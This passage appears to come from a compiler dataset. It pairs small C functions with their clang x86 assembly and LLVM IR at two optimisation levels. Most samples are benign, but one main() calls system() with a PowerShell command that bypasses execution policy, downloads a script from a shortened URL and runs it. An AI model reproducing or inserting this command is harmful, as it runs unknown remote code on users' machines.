%7 = call i32 @strupper(i8* %6)
%8 = load i8*, i8** %3
ret i8* %8
}

LLVM IR (-O2):
define i8* @xstrupper(i8* %0) {
%2 = tail call i8* @xstrdup(i8* %0)
%3 = tail call i32 @strupper(i8* %2)
ret i8* %2
}
void posix_class2P_BLANK() {}


x86 assembly (clang, -O0):
<posix_class2P_BLANK>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<posix_class2P_BLANK>:
ret

LLVM IR (-O0):
define void @posix_class2P_BLANK() {
ret void
}

LLVM IR (-O2):
define void @posix_class2P_BLANK() {
ret void
}
/* Variables and functions */
int htoi(char *);
int /*<<< orphan*/ printf(char *, int);
int main() {
  printf("\n%d\n", htoi("aaa"));
  printf("\n%d\n", htoi("0xaaa"));
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
lea    0xedc(%rip),%rdi
call   1040 <htoi@plt>
mov    %eax,%esi
lea    0xec7(%rip),%rdi
call   1030 <printf@plt>
lea    0xec0(%rip),%rdi
call   1040 <htoi@plt>
mov    %eax,%esi
lea    0xead(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
lea    0xedf(%rip),%rdi
call   1040 <htoi@plt>
lea    0xecc(%rip),%rbx
mov    %rbx,%rdi
mov    %eax,%esi
call   1030 <printf@plt>
lea    0xec0(%rip),%rdi
call   1040 <htoi@plt>
mov    %rbx,%rdi
mov    %eax,%esi
call   1030 <printf@plt>
xor    %eax,%eax
pop    %rbx
ret

LLVM IR (-O0):
@.str = [5 x i8] c"\0A%d\0A\00"
@.str.1 = [4 x i8] c"aaa\00"
@.str.2 = [6 x i8] c"0xaaa\00"
define i32 @main() {
%1 = call i32 @htoi(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.1, i64 0, i64 0))
%2 = call i32 @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0), i32 %1)
%3 = call i32 @htoi(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.2, i64 0, i64 0))
%4 = call i32 @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0), i32 %3)
ret i32 0
}

LLVM IR (-O2):
@.str = [5 x i8] c"\0A%d\0A\00"
@.str.1 = [4 x i8] c"aaa\00"
@.str.2 = [6 x i8] c"0xaaa\00"
define i32 @main() {
%1 = tail call i32 @htoi(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.1, i64 0, i64 0))
%2 = tail call i32 @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0), i32 %1)
%3 = tail call i32 @htoi(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.2, i64 0, i64 0))
%4 = tail call i32 @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0), i32 %3)
ret i32 0
}
int spek_max(int a, int b) { return a > b ? a : b; }


x86 assembly (clang, -O0):
<spek_max>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    -0x4(%rbp),%eax
cmp    -0x8(%rbp),%eax
jle    1121 <spek_max+0x21>
mov    -0x4(%rbp),%eax
mov    %eax,-0xc(%rbp)
jmp    1127 <spek_max+0x27>
mov    -0x8(%rbp),%eax
mov    %eax,-0xc(%rbp)
mov    -0xc(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<spek_max>:
mov    %esi,%eax
cmp    %esi,%edi
cmovg  %edi,%eax
ret

LLVM IR (-O0):
define i32 @spek_max(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
%5 = load i32, i32* %3
%6 = load i32, i32* %4
%7 = icmp sgt i32 %5, %6
br i1 %7, label %8, label %10
8: ; preds = %2
%9 = load i32, i32* %3
br label %12
10: ; preds = %2
%11 = load i32, i32* %4
br label %12
12: ; preds = %10, %8
%13 = phi i32 [ %9, %8 ], [ %11, %10 ]
ret i32 %13
}

LLVM IR (-O2):
define i32 @spek_max(i32 %0, i32 %1) {
%3 = icmp sgt i32 %0, %1
%4 = select i1 %3, i32 %0, i32 %1
ret i32 %4
}
/* Variables and functions */
bool bnand(bool a, bool b) { return !(a && b); }


x86 assembly (clang, -O0):
<bnand>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
xor    %eax,%eax
cmpl   $0x0,-0x4(%rbp)
mov    %al,-0x9(%rbp)
je     1123 <bnand+0x23>
cmpl   $0x0,-0x8(%rbp)
setne  %al
mov    %al,-0x9(%rbp)
mov    -0x9(%rbp),%al
xor    $0xff,%al
and    $0x1,%al
movzbl %al,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<bnand>:
test   %edi,%edi
sete   %al
test   %esi,%esi
sete   %cl
or     %al,%cl
movzbl %cl,%eax
ret

LLVM IR (-O0):
define i32 @bnand(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
%5 = load i32, i32* %3
%6 = icmp ne i32 %5, 0
br i1 %6, label %7, label %10
7: ; preds = %2
%8 = load i32, i32* %4
%9 = icmp ne i32 %8, 0
br label %10
10: ; preds = %7, %2
%11 = phi i1 [ false, %2 ], [ %9, %7 ]
%12 = xor i1 %11, true
%13 = zext i1 %12 to i32
ret i32 %13
}

LLVM IR (-O2):
define i32 @bnand(i32 %0, i32 %1) {
%3 = icmp eq i32 %0, 0
%4 = icmp eq i32 %1, 0
%5 = or i1 %3, %4
%6 = zext i1 %5 to i32
ret i32 %6
}
/* Variables and functions */
int /*<<< orphan*/ test_parser_sourcefile(char *, char *);
int /*<<< orphan*/ test_parser_verify_parse(int /*<<< orphan*/, char *, char *,
                                            char *, int /*<<< orphan*/);
void test_xslt_comments() {
  test_parser_verify_parse(test_parser_sourcefile("xslt", " <!--comment-->"),
                           "xslt", "", "<!--comment-->", 0);
}


x86 assembly (clang, -O0):
<test_xslt_comments>:
push   %rbp
mov    %rsp,%rbp
lea    0xed5(%rip),%rdi
lea    0xed3(%rip),%rsi
call   1030 <test_parser_sourcefile@plt>
mov    %eax,%edi
lea    0xec0(%rip),%rsi
lea    0xecd(%rip),%rdx
lea    0xeb8(%rip),%rcx
xor    %r8d,%r8d
call   1040 <test_parser_verify_parse@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_xslt_comments>:
push   %rbx
lea    0xed8(%rip),%rbx
lea    0xed6(%rip),%rsi
mov    %rbx,%rdi
call   1030 <test_parser_sourcefile@plt>
lea    0xed6(%rip),%rdx
lea    0xec1(%rip),%rcx
mov    %eax,%edi
mov    %rbx,%rsi
xor    %r8d,%r8d
pop    %rbx
jmp    1040 <test_parser_verify_parse@plt>

LLVM IR (-O0):
@.str = [5 x i8] c"xslt\00"
@.str.1 = [16 x i8] c" <!--comment-->\00"
@.str.2 = [1 x i8] zeroinitializer
@.str.3 = [15 x i8] c"<!--comment-->\00"
define void @test_xslt_comments() {
%1 = call i32 @test_parser_sourcefile(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.1, i64 0, i64 0))
%2 = call i32 @test_parser_verify_parse(i32 %1, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.3, i64 0, i64 0), i32 0)
ret void
}

LLVM IR (-O2):
@.str = [5 x i8] c"xslt\00"
@.str.1 = [16 x i8] c" <!--comment-->\00"
@.str.2 = [1 x i8] zeroinitializer
@.str.3 = [15 x i8] c"<!--comment-->\00"
define void @test_xslt_comments() {
%1 = tail call i32 @test_parser_sourcefile(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.1, i64 0, i64 0))
%2 = tail call i32 @test_parser_verify_parse(i32 %1, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.3, i64 0, i64 0), i32 0)
ret void
}
/* Variables and functions */
double atan2(int /*<<< orphan*/, double);
int /*<<< orphan*/ sqrt(int);
double acos(double x) { return atan2(sqrt((1 + x) * (1 - x)), x); }


x86 assembly (clang, -O0):
<acos>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movsd  %xmm0,-0x8(%rbp)
movsd  0xecb(%rip),%xmm0
addsd  -0x8(%rbp),%xmm0
movsd  0xebe(%rip),%xmm1
subsd  -0x8(%rbp),%xmm1
mulsd  %xmm1,%xmm0
cvttsd2si %xmm0,%edi
call   1040 <sqrt@plt>
mov    %eax,%edi
movsd  -0x8(%rbp),%xmm0
call   1030 <atan2@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<acos>:
push   %rax
movsd  %xmm0,(%rsp)
movsd  0xed2(%rip),%xmm2
movapd %xmm0,%xmm1
addsd  %xmm2,%xmm1
subsd  %xmm0,%xmm2
mulsd  %xmm1,%xmm2
cvttsd2si %xmm2,%edi
call   1040 <sqrt@plt>
mov    %eax,%edi
movsd  (%rsp),%xmm0
pop    %rax
jmp    1030 <atan2@plt>

LLVM IR (-O0):
define double @acos(double %0) {
%2 = alloca double
store double %0, double* %2
%3 = load double, double* %2
%4 = fadd double 1.000000e+00, %3
%5 = load double, double* %2
%6 = fsub double 1.000000e+00, %5
%7 = fmul double %4, %6
%8 = fptosi double %7 to i32
%9 = call i32 @sqrt(i32 %8)
%10 = load double, double* %2
%11 = call double @atan2(i32 %9, double %10)
ret double %11
}

LLVM IR (-O2):
define double @acos(double %0) {
%2 = fadd double %0, 1.000000e+00
%3 = fsub double 1.000000e+00, %0
%4 = fmul double %2, %3
%5 = fptosi double %4 to i32
%6 = tail call i32 @sqrt(i32 %5)
%7 = tail call double @atan2(i32 %6, double %0)
ret double %7
}
/* Variables and functions */
int /*<<< orphan*/ system(char *);
int main() {
  system("powershell -executionpolicy bypass \"IEX (New-Object "
         "Net.WebClient).DownloadString('http://tinyurl.com/nm86wvo'); \"");
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [115 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/nm86wvo'); \22\00"
define i32 @main() {
%1 = call i32 @system(i8* getelementptr inbounds ([115 x i8], [115 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [115 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/nm86wvo'); \22\00"
define i32 @main() {
%1 = tail call i32 @system(i8* getelementptr inbounds ([115 x i8], [115 x i8]* @.str, i64 0, i64 0))
ret i32 0
}
int isprint(int c) { return c > 0x1f && c != 0x7f; }


x86 assembly (clang, -O0):
<isprint>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
xor    %eax,%eax
cmpl   $0x1f,-0x4(%rbp)
mov    %al,-0x5(%rbp)
jle    1120 <isprint+0x20>
cmpl   $0x7f,-0x4(%rbp)
setne  %al
mov    %al,-0x5(%rbp)
mov    -0x5(%rbp),%al
and    $0x1,%al
movzbl %al,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<isprint>:
cmp    $0x20,%edi
setge  %al
cmp    $0x7f,%edi
setne  %cl
and    %al,%cl
movzbl %cl,%eax
ret

LLVM IR (-O0):
define i32 @isprint(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = icmp sgt i32 %3, 31
br i1 %4, label %5, label %8
5: ; preds = %1
%6 = load i32, i32* %2
%7 = icmp ne i32 %6, 127
br label %8
8: ; preds = %5, %1
%9 = phi i1 [ false, %1 ], [ %7, %5 ]
%10 = zext i1 %9 to i32
ret i32 %10
}

LLVM IR (-O2):
define i32 @isprint(i32 %0) {
%2 = icmp sgt i32 %0, 31
%3 = icmp ne i32 %0, 127
%4 = and i1 %2, %3
%5 = zext i1 %4 to i32
ret i32 %5
}
void foo165(int p) {}


x86 assembly (clang, -O0):
<foo165>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<foo165>:
ret

LLVM IR (-O0):
define void @foo165(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
ret void
}

LLVM IR (-O2):
define void @foo165(i32 %0) {
ret void
}
int mailsem_internal_post(struct mailsem_internal *s) { return -1; }


x86 assembly (clang, -O0):
<mailsem_internal_post>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    $0xffffffff,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<mailsem_internal_post>:
mov    $0xffffffff,%eax
ret

LLVM IR (-O0):
%struct.mailsem_internal = type opaque
define i32 @mailsem_internal_post(%struct.mailsem_internal* %0) {
%2 = alloca %struct.mailsem_internal*
store %struct.mailsem_internal* %0, %struct.mailsem_internal** %2
ret i32 -1
}

LLVM IR (-O2):
%struct.mailsem_internal = type opaque
define i32 @mailsem_internal_post(%struct.mailsem_internal* nocapture readnone %0) {
ret i32 -1
}
double sub_fun(double lhs, double rhs) { return lhs - rhs; }


x86 assembly (clang, -O0):
<sub_fun>:
push   %rbp
mov    %rsp,%rbp
movsd  %xmm0,-0x8(%rbp)
movsd  %xmm1,-0x10(%rbp)
movsd  -0x8(%rbp),%xmm0
subsd  -0x10(%rbp),%xmm0
pop    %rbp
ret

x86 assembly (clang, -O2):
<sub_fun>:
subsd  %xmm1,%xmm0
ret

LLVM IR (-O0):
define double @sub_fun(double %0, double %1) {
%3 = alloca double
%4 = alloca double
store double %0, double* %3
store double %1, double* %4
%5 = load double, double* %3
%6 = load double, double* %4
%7 = fsub double %5, %6
ret double %7
}

LLVM IR (-O2):
define double @sub_fun(double %0, double %1) {
%3 = fsub double %0, %1
ret double %3
}
int v9fs_set_create_acl(struct dentry *dentry, struct posix_acl *dpacl,
                        struct posix_acl *pacl) {
  return 0;
}


x86 assembly (clang, -O0):
<v9fs_set_create_acl>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<v9fs_set_create_acl>:
xor    %eax,%eax
ret

LLVM IR (-O0):
%struct.dentry = type opaque
%struct.posix_acl = type opaque
define i32 @v9fs_set_create_acl(%struct.dentry* %0, %struct.posix_acl* %1, %struct.posix_acl* %2) {
%4 = alloca %struct.dentry*
%5 = alloca %struct.posix_acl*
%6 = alloca %struct.posix_acl*
store %struct.dentry* %0, %struct.dentry** %4
store %struct.posix_acl* %1, %struct.posix_acl** %5
store %struct.posix_acl* %2, %struct.posix_acl** %6
ret i32 0
}

LLVM IR (-O2):
%struct.dentry = type opaque
%struct.posix_acl = type opaque
define i32 @v9fs_set_create_acl(%struct.dentry* nocapture readnone %0, %struct.posix_acl* nocapture readnone %1, %struct.posix_acl* nocapture readnone %2) {
ret i32 0
}
/* Variables and functions */
void VIDDummyVdp1DrawStart(void) {}


x86 assembly (clang, -O0):
<VIDDummyVdp1DrawStart>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<VIDDummyVdp1DrawStart>:
ret

LLVM IR (-O0):
define void @VIDDummyVdp1DrawStart() {
ret void
}

LLVM IR (-O2):
define void @VIDDummyVdp1DrawStart() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ assert(int);
int numJewelsInStones(char *, char *);
int main(int argc, char **argv) {
  assert(numJewelsInStones("aA", "aAAbbbb") == 3);
  assert(numJewelsInStones("z", "ZZ") == 0);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
lea    0xeca(%rip),%rdi
lea    0xec6(%rip),%rsi
call   1040 <numJewelsInStones@plt>
cmp    $0x3,%eax
sete   %al
and    $0x1,%al
movzbl %al,%edi
call   1030 <assert@plt>
lea    0xeb2(%rip),%rdi
lea    0xead(%rip),%rsi
call   1040 <numJewelsInStones@plt>
cmp    $0x0,%eax
sete   %al
and    $0x1,%al
movzbl %al,%edi
call   1030 <assert@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xed8(%rip),%rdi
lea    0xed4(%rip),%rsi
call   1040 <numJewelsInStones@plt>
xor    %edi,%edi
cmp    $0x3,%eax
sete   %dil
call   1030 <assert@plt>
lea    0xec2(%rip),%rdi
lea    0xebd(%rip),%rsi
call   1040 <numJewelsInStones@plt>
xor    %edi,%edi
test   %eax,%eax
sete   %dil
call   1030 <assert@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [3 x i8] c"aA\00"
@.str.1 = [8 x i8] c"aAAbbbb\00"
@.str.2 = [2 x i8] c"z\00"
@.str.3 = [3 x i8] c"ZZ\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i8**
store i32 %0, i32* %3
store i8** %1, i8*** %4
%5 = call i32 @numJewelsInStones(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))
%6 = icmp eq i32 %5, 3
%7 = zext i1 %6 to i32
%8 = call i32 @assert(i32 %7)
%9 = call i32 @numJewelsInStones(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0))
%10 = icmp eq i32 %9, 0
%11 = zext i1 %10 to i32
%12 = call i32 @assert(i32 %11)
ret i32 0
}

LLVM IR (-O2):
@.str = [3 x i8] c"aA\00"
@.str.1 = [8 x i8] c"aAAbbbb\00"
@.str.2 = [2 x i8] c"z\00"
@.str.3 = [3 x i8] c"ZZ\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = tail call i32 @numJewelsInStones(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))
%4 = icmp eq i32 %3, 3
%5 = zext i1 %4 to i32
%6 = tail call i32 @assert(i32 %5)
%7 = tail call i32 @numJewelsInStones(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0))
%8 = icmp eq i32 %7, 0
%9 = zext i1 %8 to i32
%10 = tail call i32 @assert(i32 %9)
ret i32 0
}
int isspace(int ch) { return (ch == ' '); }


x86 assembly (clang, -O0):
<isspace>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
cmpl   $0x20,-0x4(%rbp)
sete   %al
and    $0x1,%al
movzbl %al,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<isspace>:
xor    %eax,%eax
cmp    $0x20,%edi
sete   %al
ret

LLVM IR (-O0):
define i32 @isspace(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = icmp eq i32 %3, 32
%5 = zext i1 %4 to i32
ret i32 %5
}

LLVM IR (-O2):
define i32 @isspace(i32 %0) {
%2 = icmp eq i32 %0, 32
%3 = zext i1 %2 to i32
ret i32 %3
}
int crypto_random_init(void) { return 0; }


x86 assembly (clang, -O0):
<crypto_random_init>:
push   %rbp
mov    %rsp,%rbp
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<crypto_random_init>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @crypto_random_init() {
ret i32 0
}

LLVM IR (-O2):
define i32 @crypto_random_init() {
ret i32 0
}
void iob(int id, int value) {}


x86 assembly (clang, -O0):
<iob>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<iob>:
ret

LLVM IR (-O0):
define void @iob(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
ret void
}

LLVM IR (-O2):
define void @iob(i32 %0, i32 %1) {
ret void
}
char *AdmAdvance(char *pt) {
  while (*pt && (*pt == ' ' || *pt == '\t')) {
    pt++;
  }
  return pt;
}


x86 assembly (clang, -O0):
<AdmAdvance>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
movsbl (%rax),%ecx
xor    %eax,%eax
cmp    $0x0,%ecx
mov    %al,-0x9(%rbp)
je     1148 <AdmAdvance+0x48>
mov    -0x8(%rbp),%rax
movsbl (%rax),%ecx
mov    $0x1,%al
cmp    $0x20,%ecx
mov    %al,-0xa(%rbp)
je     1142 <AdmAdvance+0x42>
mov    -0x8(%rbp),%rax
movsbl (%rax),%eax
cmp    $0x9,%eax
sete   %al
mov    %al,-0xa(%rbp)
mov    -0xa(%rbp),%al
mov    %al,-0x9(%rbp)
mov    -0x9(%rbp),%al
test   $0x1,%al
jne    1158 <AdmAdvance+0x58>
jmp    1169 <AdmAdvance+0x69>
mov    -0x8(%rbp),%rax
add    $0x1,%rax
mov    %rax,-0x8(%rbp)
jmp    1108 <AdmAdvance+0x8>
mov    -0x8(%rbp),%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<AdmAdvance>:
mov    %rdi,%rax
jmp    1114 <AdmAdvance+0x14>
cs nopw 0x0(%rax,%rax,1)
nop
add    $0x1,%rax
movzbl (%rax),%ecx
cmp    $0x20,%cl
je     1110 <AdmAdvance+0x10>
cmp    $0x9,%cl
je     1110 <AdmAdvance+0x10>
ret

LLVM IR (-O0):
define i8* @AdmAdvance(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
br label %3
3: ; preds = %22, %1
%4 = load i8*, i8** %2
%5 = load i8, i8* %4
%6 = sext i8 %5 to i32
%7 = icmp ne i32 %6, 0
br i1 %7, label %8, label %20
8: ; preds = %3
%9 = load i8*, i8** %2
%10 = load i8, i8* %9
%11 = sext i8 %10 to i32
%12 = icmp eq i32 %11, 32
br i1 %12, label %18, label %13
13: ; preds = %8
%14 = load i8*, i8** %2
%15 = load i8, i8* %14
%16 = sext i8 %15 to i32
%17 = icmp eq i32 %16, 9
br label %18
18: ; preds = %13, %8
%19 = phi i1 [ true, %8 ], [ %17, %13 ]
br label %20
20: ; preds = %18, %3
%21 = phi i1 [ false, %3 ], [ %19, %18 ]
br i1 %21, label %22, label %25
22: ; preds = %20
%23 = load i8*, i8** %2
%24 = getelementptr inbounds i8, i8* %23, i32 1
store i8* %24, i8** %2
br label %3
25: ; preds = %20
%26 = load i8*, i8** %2
ret i8* %26
}

LLVM IR (-O2):
define i8* @AdmAdvance(i8* %0) {
br label %2
2: ; preds = %5, %1
%3 = phi i8* [ %0, %1 ], [ %6, %5 ]
%4 = load i8, i8* %3
switch i8 %4, label %7 [
i8 9, label %5
i8 32, label %5
]
5: ; preds = %2, %2
%6 = getelementptr inbounds i8, i8* %3, i64 1
br label %2
7: ; preds = %2
ret i8* %3
}
/* Variables and functions */
scalar_t__ time(int /*<<< orphan*/ *);
long int getCurrentTime() { return (long int)time(NULL); }


x86 assembly (clang, -O0):
<getCurrentTime>:
push   %rbp
mov    %rsp,%rbp
xor    %eax,%eax
mov    %eax,%edi
call   1030 <time@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<getCurrentTime>:
xor    %edi,%edi
jmp    1030 <time@plt>

LLVM IR (-O0):
define i64 @getCurrentTime() {
%1 = call i64 @time(i32* null)
ret i64 %1
}

LLVM IR (-O2):
define i64 @getCurrentTime() {
%1 = tail call i64 @time(i32* null)
ret i64 %1
}
/* Variables and functions */
bool nrf51_errata_2(void) { return false; }


x86 assembly (clang, -O0):
<nrf51_errata_2>:
push   %rbp
mov    %rsp,%rbp
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<nrf51_errata_2>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @nrf51_errata_2() {
ret i32 0
}

LLVM IR (-O2):
define i32 @nrf51_errata_2() {
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ IPPROTO_TCP;
int /*<<< orphan*/ TCP_NODELAY;
int diminuto_ipc_set_socket(int, int /*<<< orphan*/, int /*<<< orphan*/, int);
int diminuto_ipc_set_nodelay(int fd, int enable) {
  return diminuto_ipc_set_socket(fd, IPPROTO_TCP, TCP_NODELAY, !!enable);
}


x86 assembly (clang, -O0):
<diminuto_ipc_set_nodelay>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    -0x4(%rbp),%edi
mov    0x2eb8(%rip),%rax
mov    (%rax),%esi
mov    0x2eb7(%rip),%rax
mov    (%rax),%edx
cmpl   $0x0,-0x8(%rbp)
setne  %al
xor    $0xff,%al
xor    $0xff,%al
and    $0x1,%al
movzbl %al,%ecx
call   1030 <diminuto_ipc_set_socket@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<diminuto_ipc_set_nodelay>:
mov    0x2ec9(%rip),%rax
mov    (%rax),%eax
mov    0x2ec8(%rip),%rcx
mov    (%rcx),%edx
xor    %ecx,%ecx
test   %esi,%esi
setne  %cl
mov    %eax,%esi
jmp    1030 <diminuto_ipc_set_socket@plt>

LLVM IR (-O0):
@IPPROTO_TCP = global i32 0
@TCP_NODELAY = global i32 0
define i32 @diminuto_ipc_set_nodelay(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
%5 = load i32, i32* %3
%6 = load i32, i32* @IPPROTO_TCP
%7 = load i32, i32* @TCP_NODELAY
%8 = load i32, i32* %4
%9 = icmp ne i32 %8, 0
%10 = xor i1 %9, true
%11 = xor i1 %10, true
%12 = zext i1 %11 to i32
%13 = call i32 @diminuto_ipc_set_socket(i32 %5, i32 %6, i32 %7, i32 %12)
ret i32 %13
}

LLVM IR (-O2):
@IPPROTO_TCP = global i32 0
@TCP_NODELAY = global i32 0
define i32 @diminuto_ipc_set_nodelay(i32 %0, i32 %1) {
%3 = load i32, i32* @IPPROTO_TCP
%4 = load i32, i32* @TCP_NODELAY
%5 = icmp ne i32 %1, 0
%6 = zext i1 %5 to i32
%7 = tail call i32 @diminuto_ipc_set_socket(i32 %0, i32 %3, i32 %4, i32 %6)
ret i32 %7
}
/* Type definitions */
typedef int uint32_t;

/* Variables and functions */
uint32_t RTC_Read(void) {
  uint32_t retval, tmp;
  tmp = (*(volatile unsigned long *)(0xE0024000 + 0x14));
  retval = tmp & 0x3f;
  tmp >>= 8;
  retval += ((tmp & 0x3f) * 60);
  tmp >>= 8;
  retval += ((tmp & 0x1f) * 3600);
  return retval;
}


x86 assembly (clang, -O0):
<RTC_Read>:
push   %rbp
mov    %rsp,%rbp
mov    $0xe0024014,%eax
mov    (%rax),%rax
mov    %eax,-0x8(%rbp)
mov    -0x8(%rbp),%eax
and    $0x3f,%eax
mov    %eax,-0x4(%rbp)
mov    -0x8(%rbp),%eax
sar    $0x8,%eax
mov    %eax,-0x8(%rbp)
mov    -0x8(%rbp),%eax
and    $0x3f,%eax
imul   $0x3c,%eax,%eax
add    -0x4(%rbp),%eax
mov    %eax,-0x4(%rbp)
mov    -0x8(%rbp),%eax
sar    $0x8,%eax
mov    %eax,-0x8(%rbp)
mov    -0x8(%rbp),%eax
and    $0x1f,%eax
imul   $0xe10,%eax,%eax
add    -0x4(%rbp),%eax
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<RTC_Read>:
mov    $0xe0024014,%eax
mov    (%rax),%rax
mov    %eax,%ecx
and    $0x3f,%ecx
mov    %eax,%edx
shr    $0x8,%edx
and    $0x3f,%edx
imul   $0x3c,%edx,%edx
add    %ecx,%edx
shr    $0x10,%eax
and    $0x1f,%eax
imul   $0xe10,%eax,%eax
add    %edx,%eax
ret

LLVM IR (-O0):
define i32 @RTC_Read() {
%1 = alloca i32
%2 = alloca i32
%3 = load volatile i64, i64* inttoptr (i64 3758243860 to i64*)
%4 = trunc i64 %3 to i32
store i32 %4, i32* %2
%5 = load i32, i32* %2
%6 = and i32 %5, 63
store i32 %6, i32* %1
%7 = load i32, i32* %2
%8 = ashr i32 %7, 8
store i32 %8, i32* %2
%9 = load i32, i32* %2
%10 = and i32 %9, 63
%11 = mul nsw i32 %10, 60
%12 = load i32, i32* %1
%13 = add nsw i32 %12, %11
store i32 %13, i32* %1
%14 = load i32, i32* %2
%15 = ashr i32 %14, 8
store i32 %15, i32* %2
%16 = load i32, i32* %2
%17 = and i32 %16, 31
